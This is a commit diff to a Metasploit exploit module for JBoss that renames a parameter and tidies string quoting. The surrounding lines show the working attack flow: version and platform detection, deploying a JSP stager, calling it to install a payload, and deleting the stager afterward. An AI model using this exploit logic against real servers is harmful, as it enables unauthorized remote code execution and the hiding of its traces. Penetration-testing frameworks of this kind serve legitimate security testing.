Switch variable from file_name to operation

modules/exploits/multi/http/jboss_invoke_deploy.rb

@@ -88,9 +88,9 @@ class Metasploit4 < Msf::Exploit::Remote
   end
 
   def check
-    res = send_serialized_request('version.bin')
+    res = send_serialized_request('version')
     if res.nil?
-      vprint_error("Connection timed out")
+      vprint_error('Connection timed out')
       return Exploit::CheckCode::Unknown
     elsif res.code != 200
       vprint_error("Unable to request version, returned http code is: #{res.code.to_s}")
@@ -103,7 +103,7 @@ class Metasploit4 < Msf::Exploit::Remote
     return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_5_/
 
     if res.body =~ /ServletException/	# Simple check, if we caused an exception.
-      vprint_status("Target seems vulnerable, but the used JBoss version is not supported by this exploit")
+      vprint_status('Target seems vulnerable, but the used JBoss version is not supported by this exploit')
       return Exploit::CheckCode::Appears
     end
 
@@ -134,8 +134,8 @@ class Metasploit4 < Msf::Exploit::Remote
       'jsp_code' => generate_stager(name_parameter, content_parameter)
     }
 
-    print_status("Deploying stager")
-    send_serialized_request('installstager.bin', replace_values)
+    print_status('Deploying stager')
+    send_serialized_request('installstager', replace_values)
     print_status("Calling stager: #{stager_uri}")
     call_uri_mtimes(stager_uri, 5, 'GET')
 
@@ -167,14 +167,14 @@ class Metasploit4 < Msf::Exploit::Remote
     res = call_uri_mtimes(payload_uri,5, 'GET')
 
     # Remove the payload through  stager
-    print_status("Removing payload through stager")
+    print_status('Removing payload through stager')
     delete_payload_uri = stager_uri + "?#{name_parameter}=#{app_base}"
     res = send_request_cgi({'uri' => delete_payload_uri})
 
     # Remove the stager
-    print_status("Removing stager")
-    send_serialized_request('removestagerfile.bin', replace_values)
-    send_serialized_request('removestagerdirectory.bin', replace_values)
+    print_status('Removing stager')
+    send_serialized_request('removestagerfile', replace_values)
+    send_serialized_request('removestagerdirectory', replace_values)
 
     handler
   end
@@ -225,28 +225,28 @@ EOT
   end
 
 
-  def send_serialized_request(file_name , replace_params = {})
+  def send_serialized_request(operation , replace_params = {})
     data = ''
-    case file_name
-    when 'version.bin'
+    case operation
+    when 'version'
       data = build_get_version.encode
-    when 'osname.bin'
+    when 'osname'
       data = build_get_os.encode
-    when 'osarch.bin'
+    when 'osarch'
       data = build_get_arch.encode
-    when 'installstager.bin'
+    when 'installstager'
       data = build_install_stager(
         war_name: replace_params['regex_app_base'],
         jsp_name: replace_params['regex_jsp_name'],
         data: replace_params['jsp_code']
       ).encode
-    when 'removestagerfile.bin'
+    when 'removestagerfile'
       data = build_delete_stager_file(
         dir: "#{replace_params['regex_app_base']}.war",
         file: replace_params['regex_jsp_name'],
         extension: '.jsp'
       ).encode
-    when 'removestagerdirectory.bin'
+    when 'removestagerdirectory'
       data = build_delete_stager_file(
         dir: './',
         file: replace_params['regex_app_base'],
@@ -269,7 +269,7 @@ EOT
 
 
     unless res && res.code == 200
-      print_error("Failed: Error requesting preserialized request #{file_name}")
+      print_error("Failed: Error requesting preserialized request #{operation}")
       return nil
     end
 
@@ -335,8 +335,8 @@ EOT
 
   # Try to autodetect the target platform
   def detect_platform
-    print_status("Attempting to automatically detect the platform")
-    res = send_serialized_request("osname.bin")
+    print_status('Attempting to automatically detect the platform')
+    res = send_serialized_request('osname')
 
     if res.body =~ /(Linux|FreeBSD|Windows)/i
       os = $1
@@ -353,8 +353,8 @@ EOT
 
   # Try to autodetect the architecture
   def detect_architecture
-    print_status("Attempting to automatically detect the architecture")
-    res = send_serialized_request("osarch.bin")
+    print_status('Attempting to automatically detect the architecture')
+    res = send_serialized_request('osarch')
     if res.body =~ /(i386|x86)/i
       arch = $1
       if arch =~ /i386|x86/i